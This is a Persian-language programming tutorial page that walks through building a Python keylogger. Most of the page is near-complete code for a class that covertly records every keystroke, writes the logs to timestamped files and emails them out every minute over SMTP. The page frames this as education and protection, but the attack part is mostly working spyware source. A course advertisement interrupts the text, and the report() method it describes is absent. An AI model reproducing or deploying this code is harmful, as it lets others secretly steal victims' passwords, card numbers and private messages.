دوره‌ای که می‌تونه مسیر شغلیت رو عوض کنه! دوره‌ای که می‌تونه مسیر شغلیت رو عوض کنه!
🎯 ثبت نام

آموزش ساخت کیلاگر Keylogger با پایتون

آموزش ساخت کیلاگر Keylogger با پایتون
شرح مختصر پروژه

کی‌لاگر یک نوع فناوری نظارت است که برای ثبت هر کلیدی که روی کیبورد یک کامپیوتر خاص فشرده می‌شود، استفاده می‌شود. در این آموزش، شما خواهید آموخت که چگونه یک کیلاگر در زبان پایتون بسازید.

توضیحات پروژه

کی لاگر نوعی فناوری نظارتی است که برای نظارت و ضبط هر ضربه کلید تایپ شده بر روی صفحه کلید یک کامپیوتر خاص استفاده می شود. در این آموزش نحوه نوشتن کی لاگر در پایتون را خواهید آموخت.

این ابزار هم کاربرد مشروع و هم نامشروع دارد. کاربردهای قانونی می تواند شامل نظارت بر بهره وری کارکنان، کنترل والدین و عیب یابی مشکلات رایانه باشد. با این حال، هنگامی که توسط هکرها به طور غیراخلاقی استفاده می شود، یک کی لاگر می تواند اطلاعات حساسی مانند اعتبار ورود، شماره کارت اعتباری و پیام های شخصی را ضبط کند.

در این آموزش عملی، نحوه نوشتن یک کی لاگر در پایتون را از ابتدا یاد خواهید گرفت. با به دست آوردن درک عمیقی از مفاهیم و تکنیک های برنامه نویسی درگیر، برای محافظت از خود در برابر تهدیدات احتمالی و اجرای اقدامات حفاظتی در برابر کی لاگرها مجهز خواهید شد. هدف این آموزش افزایش آگاهی در مورد قابلیت ها و خطرات مرتبط با ابزارهای keylogging و کمک به شما در توسعه مهارت های ایجاد و تجزیه و تحلیل چنین اسکریپت هایی برای اهداف آموزشی است. بیا شروع کنیم!

اول از همه، ماژولی به نام "keyboard" نیاز داریم. به ترمینال یا خط فرمان بروید و دستور زیر را وارد کنید:

$ pip install keyboard

این ماژول به شما امکان می‌دهد که کامل کنترل کیبورد خود را داشته باشید. برنامه پایتون به شرح زیر عمل می‌کند:

  1. به صورت پنهانی کلید‌هایی که روی کیبورد فشرده و رها می‌شوند را گوش می‌دهد.
  2. هر زمان که یک کلید فشرده و رها می‌شود، آن کلید را به یک متغیر رشته‌ای عمومی اضافه می‌کند.
  3. هر N دقیقه، محتوای این متغیر رشته‌ای را یا در یک فایل محلی ذخیره می‌کند (برای آپلود به سرور FTP یا استفاده از Google Drive API) یا از طریق ایمیل به دیگران ارسال می‌کند.

اجازه دهید با وارد کردن ماژول های لازم شروع کنیم:

import keyboard # for keylogs
import smtplib # for sending email using SMTP protocol (gmail)
# Timer is to make a method runs after an interval amount of time
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

حالا بیایید پارامترهای خود را مقداردهی اولیه کنیم:

SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on
EMAIL_ADDRESS = "email@provider.tld"
EMAIL_PASSWORD = "password_here"

توجه: بدیهی است که باید اطلاعات ورود به ایمیل صحیح خود را وارد کنید؛ در غیر اینصورت، گزارش از طریق ایمیل کار نخواهد کرد.

تنظیم SEND_REPORT_EVERY به 60 به معنای گزارش دادن اطلاعات کی‌لاگ هر 60 ثانیه (یعنی یک دقیقه) است. این مقدار را به تناسب نیازهای خود تغییر دهید.

بهترین روش برای نمایش یک کی‌لاگر، ایجاد یک کلاس برای آن است و هر متد در این کلاس وظیفه‌ی خاصی را انجام می‌دهد.

    class Keylogger:
    def __init__(self, interval, report_method="email"):
        # we gonna pass SEND_REPORT_EVERY to interval
        self.interval = interval
        self.report_method = report_method
        # this is the string variable that contains the log of all 
        # the keystrokes within self.interval
        self.log = ""
        # record start & end datetimes
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

ما پیش‌فرض متد گزارش را به "email" تنظیم کرده‌ایم، که نشان‌دهنده ارسال گزارش کی‌لاگ به ایمیل ما است. بعداً خواهید دید که چگونه "file" را پاس می‌دهیم و آن را در یک فایل محلی ذخیره می‌کنیم.

حالا ما باید از تابع on_release() کیبورد استفاده کنیم که یک بازخورد (callback) را می‌پذیرد و برای هر رویداد KEY_UP (زمانی که یک کلید را رها می‌کنید) فراخوانی می‌شود. این بازخورد یک پارامتر به نام KeyboardEvent را می‌پذیرد که دارای ویژگی name است. بیایید این کار را پیاده‌سازی کنیم:

    def callback(self, event):
    """
    This callback is invoked whenever a keyboard event is occured
    (i.e when a key is released in this example)
    """
    name = event.name
    if len(name) > 1:
        # not a character, special key (e.g ctrl, alt, etc.)
        # uppercase with []
        if name == "space":
            # " " instead of "space"
            name = " "
        elif name == "enter":
            # add a new line whenever an ENTER is pressed
            name = "[ENTER]\n"
        elif name == "decimal":
            name = "."
        else:
            # replace spaces with underscores
            name = name.replace(" ", "_")
            name = f"[{name.upper()}]"
    # finally, add the key name to our global self.log variable
    self.log += name

بنابراین، هر زمان که یک کلید رها شود، کلید فشرده شده به متغیر رشته‌ای self.log اضافه می‌شود.

اگر انتخاب کنیم که گزارش کی‌لاگ‌های خود را به یک فایل محلی ارسال کنیم، متدهای زیر مسئول این کار هستند:

    def update_filename(self):
    # construct the filename to be identified by start & end datetimes
    start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
    end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
    self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

def report_to_file(self):
    """This method creates a log file in the current directory that contains
    the current keylogs in the self.log variable"""
    # open the file in write mode (create it)
    with open(f"{self.filename}.txt", "w") as f:
        # write the keylogs to the file
        print(self.log, file=f)
    print(f"[+] Saved {self.filename}.txt")

متد update_filename() به سادگی است؛ ما تاریخ‌های ثبت شده را می‌گیریم و آن‌ها را به یک رشته قابل خواندن تبدیل می‌کنیم. سپس، بر اساس این تاریخ‌ها، یک نام فایل می‌سازیم که برای نام‌گذاری فایل‌های گزارش‌گیری خود استفاده خواهیم کرد. متد report_to_file() یک فایل جدید با نام self.filename ایجاد می‌کند و گزارش‌های کی‌لاگ را در آنجا ذخیره می‌کند. سپس ما باید متدی را پیاده‌سازی کنیم که با داشتن یک پیام (در این مورد، گزارش کی‌لاگ)، آن را به عنوان یک ایمیل ارسال کند

    def prepare_mail(self, message):
    """Utility function to construct a MIMEMultipart from a text
    It creates an HTML version as well as text version
    to be sent as an email"""
    msg = MIMEMultipart("alternative")
    msg["From"] = EMAIL_ADDRESS
    msg["To"] = EMAIL_ADDRESS
    msg["Subject"] = "Keylogger logs"
    # simple paragraph, feel free to edit
    html = f"< p>{message}"
    text_part = MIMEText(message, "plain")
    html_part = MIMEText(html, "html")
    msg.attach(text_part)
    msg.attach(html_part)
    # after making the mail, convert back as string message
    return msg.as_string()

    def sendmail(self, email, password, message, verbose=1):
    # manages a connection to an SMTP server
    # in our case it's for Microsoft365, Outlook, Hotmail, and live.com
    server = smtplib.SMTP(host="smtp.office365.com", port=587)
    # connect to the SMTP server as TLS mode ( for security )
    server.starttls()
    # login to the email account
    server.login(email, password)
    # send the actual message after preparation
    server.sendmail(email, email, self.prepare_mail(message))
    # terminates the session
    server.quit()
    if verbose:
        print(f"{datetime.now()} - Sent an email to {email} containing:  {message}")
 
"آیا می‌خواهید به یک ماجراجویی جدید در دنیای کدنویسی دعوت شوید؟ آیا تمایل دارید از یادگیری پایتون به عنوان یک زبان برنامه‌نویسی چندمنظوره بهره‌مند شوید و پروژه‌های واقعی و جذابی ایجاد کنید؟ دوره پروژه محور پایتون در آموزشگاه ما با تمرکز بر کاربرد عملی، شما را با دنیای وسیع و جذاب برنامه‌نویسی آشنا می‌کند. در این دوره، به‌روزترین تکنولوژی‌ها و مفاهیم پایتون را فراخواهید گرفت و از آنها برای ایجاد پروژه‌های واقعی بهره‌مند خواهید شد. همچنین، این دوره به شما امکان می‌دهد تا تجربه یک جامعه برنامه‌نویسی فعال را تجربه کنید و با همکاری در گروه‌های کاری و ایجاد پروژه‌های گروهی، توانایی‌های اجتماعی خود را تقویت کنید. بپیوندید به دوره پروژه محور پایتون و با ما به سفری جذاب و پر از چالش در دنیای کدنویسی بپردازید. زندگی با کدنویسی بهتر است. اینجاست که شما شروع می‌شوید!"

بنابراین، ما چک می‌کنیم که آیا متغیر self.log مقدار دارد (کاربر در آن دوره کلیدی فشرده کرده یا نه). اگر این اتفاق بیفتد، آن را به عنوان یک فایل محلی ذخیره می‌کنیم یا به عنوان یک ایمیل ارسال می‌کنیم.سپس ما self.interval (در این آموزش من آن را به 1 دقیقه یا 60 ثانیه تنظیم کرده‌ام، احتیاج دارید آن را به تناسب نیاز خود تنظیم کنید) و تابع self.report() را به کلاس Timer() منتقل می‌کنیم، سپس پس از تنظیم آن به عنوان یک نخ دیمون، متد start() را فرا می‌خوانیم.

به این ترتیب، متدی که به تازگی پیاده‌سازی کردیم، کی‌لاگ‌ها را به ایمیل ارسال می‌کند یا آن‌ها را در یک فایل محلی ذخیره می‌کند (بر اساس report_method) و هر self.interval ثانیه، در نخ‌های جداگانه، به صورت بازگشتی خود را فرا می‌خواند.

حالا بیایید متدی را تعریف کنیم که متد on_release() را فرا می‌خواند:

    def start(self):
    # record the start datetime
    self.start_dt = datetime.now()
    # start the keylogger
    keyboard.on_release(callback=self.callback)
    # start reporting the keylogs
    self.report()
    # make a simple message
    print(f"{datetime.now()} - Started keylogger")
    # block the current thread, wait until CTRL+C is pressed
    keyboard.wait()
 

متد start()از آنچه که خارج از کلاس استفاده می‌کنیم، به عنوان متد اصلی است؛ ما از متد keyboard.on_release()برای ارسال متد callback() که پیش‌تر تعریف کرده‌ایم، استفاده می‌کنیم.پس از آن، ما متد self.report () خود را که روی یک رشته مجزا اجرا می‌شود فراخوانی می‌کنیم و در نهایت از متد wait() از ماژول صفحه کلید برای مسدود کردن رشته فعلی استفاده می‌کنیم، بنابراین می‌توانیم با استفاده از CTRL C از برنامه خارج شویم

    if __name__ == "__main__":
    # if you want a keylogger to send to your email
    # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
    # if you want a keylogger to record keylogs to a local file 
    # (and then send it using your favorite method)
    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
    keylogger.start()
 

اگر می‌خواهید گزارش‌ها را از طریق ایمیل دریافت کنید، باید نمونه اول که report_method به "email" تنظیم شده است را فعال کنید. اگر می‌خواهید گزارش‌های کی‌لاگ را از طریق فایل‌ها در دایرکتوری فعلی ذخیره کنید، باید از نمونه دوم با report_method تنظیم به "file" استفاده کنید.

وقتی اسکریپت را با استفاده از گزارش ایمیل اجرا می‌کنید، ضربه‌های کلید شما را ضبط می‌کند و بعد از هر دقیقه، همه گزارش‌ها را به ایمیل ارسال می‌کند، آن را امتحان کنید!

وقتی آن را با report_method="file" (پیش‌فرض) اجرا می‌کنید، پس از هر دقیقه باید فایل‌های گزارش را در فهرست فعلی مشاهده کنید:

و خروجی چیزی شبیه به این را در کنسول خواهید دید:

[+] Saved keylog-2020-12-18-150850_2020-12-18-150950.txt
[+] Saved keylog-2020-12-18-150950_2020-12-18-151050.txt
[+] Saved keylog-2020-12-18-151050_2020-12-18-151150.txt
[+] Saved keylog-2020-12-18-151150_2020-12-18-151250.txt
...

1402/08/05 3176 350
رمز عبور : tahlildadeh.com یا www.tahlildade.com
نظرات شما

نظرات خود را ثبت کنید...